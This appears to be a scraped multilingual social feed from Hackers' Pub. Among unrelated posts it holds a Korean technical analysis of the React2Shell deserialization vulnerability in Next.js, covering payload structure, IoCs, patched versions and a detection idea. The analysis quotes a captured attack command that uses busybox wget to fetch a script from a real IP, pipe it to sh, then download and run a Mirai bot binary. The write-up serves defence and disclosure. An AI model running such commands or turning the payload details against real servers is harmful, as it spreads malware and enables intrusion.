Hackers' Pub is a place for software engineers to share their knowledge and experience with each other. It's also an ActivityPub-enabled social network, so you can follow your favorite hackers in the fediverse and get their latest posts in your feed.
Miriam Adelson encourages Trump to serve an illegal third term during a Hanukkah celebration at the White House. The crowd chants "four more years!"
RE: https://toot.io/@MediaOnMastodon/115691147939633040
Everyone on open social web should be grateful for #flipboard and them being a good actor for the open social web.
별로 생각하기도 싫고
"저러다 손가락 잘린다 ㅋㅋ"
[진지한 대답]
무기를 접촉시킨 상황에서는 '느낌'을 통해 상대의 의도를 파악할 수 있기 때문에 어쩌구 저쩌구....
[훌륭한 대답]
쟤는 초능력자라 괜찮다.
RE: https://bsky.app/profile/did:plc:c5pvs7m3vx6vk2j4dnpgsxu4/post/3ma46wtg7vk2f
やったね
Every government and company is in a constant competition to out-"the worst" each other.
メイクのメンテしてました！💄💖
#等身大ドール #aotume #aotumedoll #うちのこかわいい
Does anyone remember why I made a biblically accurate Siouxsie Sioux gif around this time last year?
The lore is lost, lol.
做了一個夢
「我們田裡養的牛死了」
「解剖報告出來了」
「牛沒喝到咖啡所以死了」
（？
On Loops, you can now share videos up to 3 minutes long!
Diffie-Hellman cryptography, also marketed as Diffie-Best Foods in grocery stores on the west coast of the United States,
안녕하세요!
유튜브(Youtube) 영상을 텍스트로 요약해주는 서비스를 취미 프로젝트로 개발하고 있습니다.
주변 반응이 나쁘지 않아서, 클리앙에도 소개해봅니다.
무료로 운영하고 있고, 다른 요약 서비스와의 차별점은 영상전체 맥락(Context)를 완전히 유지한 요약입니다.
All 탭을 통해서 다른 유저들은 어떤 영상을 많이 보고,어떤 주제에 관심을 갖는지 트렌드를 보는 즐거움도 있습니다. :)
사용해 보시고, 많은 피드백 부탁드립니다.
みちびき5号機以降にはほかのみちびきとの距離を測って地上局による衛星位置の推定精度を向上する機能(ISR)と地上局との距離を高精度に測定する機能(PRECT)があって、みちびきたちの位置の測定精度を向上して、衛星からGPS受信機に送る現在位置の精度を向上して、GPS受信機の位置推定精度を向上できるそうな。なるほどなあ!!
準天頂衛星システム「みちびき5号機」 ／H3ロケット8号機打上げライブ中継
https://www.youtube.com/watch?v=N-MFZgHWWSo
物事を全か無かでしか判断できない1ビット脳の持ち主だ。このバカの言い分が正しければ、ずっと殺人や窃盗が起き続けているから法律も警察も役に立たない事になる。右翼はたいてい1ビット脳の持ち主だからいつも間違える。
안녕하세요!
유튜브(Youtube) 영상을 텍스트로 요약해주는 서비스를 취미 프로젝트로 개발하고 있습니다.
주변 반응이 나쁘지 않아서, 클리앙에도 소개해봅니다.
무료로 운영하고 있고, 다른 요약 서비스와의 차별점은 영상전체 맥락(Context)를 완전히 유지한 요약입니다.
All 탭을 통해서 다른 유저들은 어떤 영상을 많이 보고,어떤 주제에 관심을 갖는지 트렌드를 보는 즐거움도 있습니다. :)
사용해 보시고, 많은 피드백 부탁드립니다.
From a husky caring for a baby…to the baby caring for the husky.
しゅいろ姉なでなでするー
국가정보자원관리원의 화재로 인해 주요 정부시스템에 장애가 발생하였습니다.
이로 인해 일부 대체서비스를 공유합니다.
* 전자가족관계등록시스템 https://efamily.scourt.go.kr
교통민원24 https://www.efine.go.kr
세움터 https://www.eais.go.kr
농업e지 https://nongupez.go.kr
법원행정처 사법정보공개포털 https://portal.scourt.go.kr/
4대사회보험 정보연계센터 https://www.4insure.or.kr
팩트리온(공장등록증명) https://www.factoryon.go.kr
고용∙산재보험 토탈서비스 https://total.comwel.or.kr
임업-in 통합포털 https://foco.go.kr
공공보건포털 e보건소 https://www.e-health.go.kr
(※참고 : 정부24 사이트(https://plus.gov.kr/)에서 대체 창구를 확인 후 이용해주시기 바랍니다.)
東京弁の侵食に負けたくないので，日常ノート・ツイートでは実際の話し言葉を心掛けている
의욕이 생길 때까지 쉴까
I’m happy to announce WhyPost, a Flutter-based app currently available as a beta release.
WhyPost lets you connect multiple Fediverse accounts in one app, including Mastodon, Akkoma, Pleroma, GoToSocial, and Friendica.
Download (Beta):
https://codeberg.org/whypost/whypost-mobile/releases
The app already supports creating posts, replies, reposts, comments, editing profiles, and deleting posts.
There are still bugs, so feedback is welcome via our Matrix room.
#fediverse #mastodon #akkoma #pleroma #gotosocial #friendica
왼쪽 발목을 삐었나 왜케 걸을때마다 아프지,,,,,,
열정을 잃지 마세요.
성장은 멈추지 않고 계속됩니다.
@junior Ah, got it. Yeah, film is great. I love how it looks, especially in black and white. But it’s definitely not as convenient as digital.
고남현 @gnh1201@hackers.pub
외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.
이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.
특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.
특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.
자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.
실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.
이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.
역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.
| 언어 / 생태계 | 역직렬화 취약점 사례 | 주요 공통점 |
|---|---|---|
| Java | CVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind) | 외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생 |
| .NET (C# / VB.NET) | CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase) | BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행 |
| Python | CVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS) | pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거 |
| PHP (WP) | CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress) | unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생 |
| Ruby | CVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal) | YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행 |
| JavaScript / Node.js | CVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript) | 구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석 |
| Go | CVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul) | Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS |
| Rust | GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687) | 메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험 |
| Kotlin / Android | CVE-2024-43080 (Android) / CVE-2024-10382 (Android Car) | Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS |
| C / C++ | CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf) | Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족 |
| Swift / iOS | CVE-2021-32742 (Vapor) | 외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출 |
| 산업용 (ICS/OT) | CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC) | 프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능 |
역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.
역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.
여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.
여기서 알 수 있는 정보는 다음과 같다.
Em 
Cat 🐈🥗 (D.Burch) 
MJ+
시오
SparklingOutlaw🍉
Fullmetal Alejandro
요즈미나 
__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다._response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.Next-Action 헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.
(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
cd /dev; \
busybox wget http://31.56.27.76/n2/x86; \
chmod 777 x86; \
./x86 reactOnMynuts)이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.
그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.
(그래 너 나쁜거 알았으니 그만 알아보자)
관련 IoC 는 다음과 같다.
3ba4d5e0cf0557f03ee5a97a2de56511 (MD5)858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (SHA256)http://193.34.213.150/nuts/bolts (URL)http://31.56.27.76/n2/x86 (URL)범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.
추가 분석은 아래 링크에서 확인할 수 있다.
Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.
| Vulnerable version | Patched release |
|---|---|
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.10 |
| Next.js 14 canaries after 14.3.0-canary.76 | Downgrade to 14.3.0-canary.76 (not vulnerable) |
| Next.js 15 canaries before 15.6.0-canary.58 | 15.6.0-canary.58 |
| Next.js 16 canaries before 16.1.0-canary.12 | 16.1.0-canary.12 and after |
혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.
Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.
로켓처럼 빠른데 공짜인 배송은 없다
비용·건강 위험을 노동자에게 떠넘기는 ‘혁신’…‘소비자 편의’가 규제 기준인 사회는 당연한가
h21.hani.co.kr/arti/society...
소비자로만 살까, 시민으로 살까
로켓처럼 빠른데 공짜인 배송은 없다
Opus 1.6 Audio Codec Adds New Machine Learning Functionality
Version 1.6 of libopus as the library for the open-source Opus audio codec is now available. Opus 1.6 brings new machine learning "ML" based features in building atop the machine learning features initially added to Opus 1.5...
https://www.phoronix.com/news/Opus-1.6-Released
做了一個夢
「我們田裡養的牛死了」
「解剖報告出來了」
「牛沒喝到咖啡所以死了」
（？
deliberately leaving typos in my posts as a symbol of authenticity, like flaws in a handwoven rug.
제가 개인적으로 만든 서비스(사진 모자이크 도구, 사진 일괄 스캔 도구)
https://www.clien.net/service/board/useful/19092573?od=T31&po=0&category=0&groupCd=
제가 개인적으로 만든 서비스(사진 모자이크 도구, 사진 일괄 스캔 도구)
https://www.clien.net/service/board/useful/19092573?od=T31&po=0&category=0&groupCd=
うびびび
피싱으로 보이는 문자가 왔다. 태양수술학과라던데.
...
혹시 내가 프로젝트 헤일메리에 참가하나?
The First Right: Self-Determination and the Transformation of International Order, 1941–2000 (Oxford Studies in International History) by Bradley R. Simpson
The idea of self-determination is one of the most significant in modern international politics. For more than a century diplomats, lawyers, scholars, activists, and ordinary people in every part of the globe have wrestled with its meaning and implications
#books
#nonfiction
#SelfDetermination
#InternationalLaw
#InternationalOrder
하동군, 폐교 활용 '추억의 만화방' 조성한다…관광 활력 기대
(하동=연합뉴스) 박정헌 기자 = 경남 하동군이 폐교를 활용해 전 세대가 즐길 수 있는 '추억의 만화방' 조성 등 만화·웹툰 콘텐츠를 접목한 관...
https://www.yna.co.kr/view/AKR20251217059900052
The Meaning of Life: Letters From Extraordinary People and Their Answer to Life's Biggest Question by James Bailey, 2025
James Bailey was unemployed, heartbroken, and questioning his purpose on the planet. In desperate search of an answer, he decided to write to luminaries from all fields and ask one simple question: What is the meaning of life? Then he waited. Slowly but surely their responses arrived through his letterbox.
The Outsider: A Memoir for Misfits by Vir Das, 2025
Beloved comedian Vir Das shares his journey as a perpetual outsider, using humor to navigate heartbreak, failure, and the quest for belonging.
The Philosopher in the Valley: Alex Karp, Palantir, and the Rise of the Surveillance State by Michael Steinberger, 2025
An acclaimed New York Times Magazine writer brings us into the world of the controversial technology firm Palantir and its very colorful and outspoken CEO, Alex Karp, tracing the ascent of Big Data, the rise of surveillance technology, and the shifting global balance of power in the 21st century.
하동군, 폐교 활용 '추억의 만화방' 조성한다…관광 활력 기대
(하동=연합뉴스) 박정헌 기자 = 경남 하동군이 폐교를 활용해 전 세대가 즐길 수 있는 '추억의 만화방' 조성 등 만화·웹툰 콘텐츠를 접목한 관...
https://www.yna.co.kr/view/AKR20251217059900052
The Psychology of System Change and Resistance to Change by Winnifred R. Louis et al, 2025
A New Psychology of Intergroup Relations
Why do some societies evolve and adapt while others remain stagnant? What creates divisiveness and exclusion, and what leads to community cohesion and social progress? This book discusses the psychology of social system change and resistance to change, offering readers a deep exploration of the psychological dynamics
The Revolutionary Psychologist’s Guide to Radical Therapy by Jon Hook & Frank Gruba-Mccallister, 2025
The Revolutionary Psychologist’s Guide to Radical Therapy presents a bold, comprehensive framework for anti-capitalist psychotherapy. Edited by Jon Hook and Frank Gruba-McCallister, this volume features leading voices in radical psychology who challenge the ideological foundations of mainstream therapeutic practice.
#books
#nonfiction
#MentalHealth
#psychotherapy
#AntiCapitalism
GitHub, 2026년 3월부터 셀프호스티드 액션 러너에 요금 부과 예정
------------------------------
- 2026년 1월 1일부터 *GitHub 호스티드 러너 요금이 최대 39% 인하* 되고, 3월 1일부터 *셀프 호스티드 러너에 분당 0.002달러 요금* 이 부과됨
- 전체 고객의 *96%는 요금 변동이 없으며* , 4% 중 85%는 인하, 15%는 월 중간값 약 13달러 인상
- *공개 저장소의 Actions 사용은 계속 무료* 이며, GitHub Enter…
------------------------------
https://news.hada.io/topic?id=25128&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
Does anyone remember why I made a biblically accurate Siouxsie Sioux gif around this time last year?
The lore is lost, lol.
かちかちなまこ
しゅいろ
